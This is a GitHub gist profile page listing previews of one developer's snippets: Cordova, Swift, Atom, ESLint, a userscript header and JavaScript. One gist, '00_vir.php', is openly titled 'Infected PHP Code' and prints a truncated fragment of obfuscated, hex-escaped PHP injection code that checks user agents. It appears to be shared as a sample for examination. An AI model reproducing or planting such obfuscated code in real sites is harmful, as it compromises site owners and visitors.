Skip to content

Instantly share code, notes, and snippets.

View Zorgatone's full-sized avatar

Tommaso Ricci Zorgatone

  • BrainQuark di Tommaso Ricci
  • Turin, Italy
  • 01:21 (UTC +02:00)
  • LinkedIn in/zorgatone
View GitHub Profile
@Zorgatone
Zorgatone / cordova.js
Last active October 24, 2015 08:12
Cordova Browser
// Platform: browser
// 6950f96eba7c2c0181bc76d98443446068e0ea1e
/*
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
@Zorgatone
Zorgatone / swift-test-hello.swift
Last active October 26, 2015 08:13
Swift 2.1 Hello World test
//
// swift-test-hello.swift
// Swift 2.1 tests
//
//import Foundation
class Person {
var name: String;
var surname: String?;
@Zorgatone
Zorgatone / README.md
Last active November 3, 2015 14:46
CMDBVS idea

Todo

Web CMS (Content Management System) with NoSQL DB + CVS (Content Versioning System) (GIT? or write your own CVS with NodeJS)

@Zorgatone
Zorgatone / keymap.cson
Created November 5, 2015 19:40
Atom unset altgr keybindings []{}`~
# Your keymap
#
# Atom keymaps work similarly to style sheets. Just as style sheets use
# selectors to apply styles to elements, Atom keymaps use selectors to associate
# keystrokes with events in specific contexts. Unlike style sheets however,
# each selector can only be declared once.
#
# You can create a new keybinding in this file by typing "key" and then hitting
# tab.
#
@Zorgatone
Zorgatone / .eslintrc
Last active November 15, 2015 20:21
ES5 default linter
{
"ecmaFeatures": {
"arrowFunctions": false,
"binaryLiterals": false,
"blockBindings": false,
"classes": false,
"defaultParams": false,
"destructuring": false,
"forOf": false,
"generators": false,
@Zorgatone
Zorgatone / README.md
Last active November 28, 2015 13:34
Material icons bundle for Angular-Material
@Zorgatone
Zorgatone / 00_vir.php
Last active December 4, 2015 17:25
Infected PHP Code
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $vidirizvvr = '~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x*0f(-!#]y76]277]y72]25c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x78x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x787x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^j6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x782x7860UQPMSVD!-id%x5c%x%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%xw)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WY%x5c%x7860{66~6<&w6<<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x78223}!+!<+{e%x5c%x7%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;g%x5c%x787fw6*CW&)7gj6<*doj%x5c%x785c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fd%x5c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;q
@Zorgatone
Zorgatone / torn-bazaar.user.js
Last active December 29, 2015 19:56
Torn City | Bazaar Enhancer
// ==UserScript==
// @id torn-bazaar@zorgatone
// @name Torn City | Bazaar Enhancer
// @namespace zorgatone
// @include /^https?:\/\/www\.torn\.com\/bazaar\.php/
// @author Zorgatone
// @version 0.0.9
// @updateURL https://gist.githubusercontent.com/Zorgatone/e2a0794858e62b405aad/raw/torn-bazaar.user.js
// @grant none
// ==/UserScript==
@Zorgatone
Zorgatone / LICENSE
Last active January 16, 2016 16:50
Forgotten soul
Attribution-NoDerivatives 4.0 International
=======================================================================
Creative Commons Corporation ("Creative Commons") is not a law firm and
does not provide legal services or legal advice. Distribution of
Creative Commons public licenses does not create a lawyer-client or
other relationship. Creative Commons makes its licenses and related
information available on an "as-is" basis. Creative Commons gives no
warranties regarding its licenses, any material licensed under their
@Zorgatone
Zorgatone / badproto.es6.js
Last active July 30, 2018 18:53
Iterable Objects
Object.prototype[Symbol.iterator] = function() {
let obj = this;
let keyit = Object.keys(obj)[Symbol.iterator]();
return {next() {
let {done, value} = keyit.next();
if (done) {
return {done};
}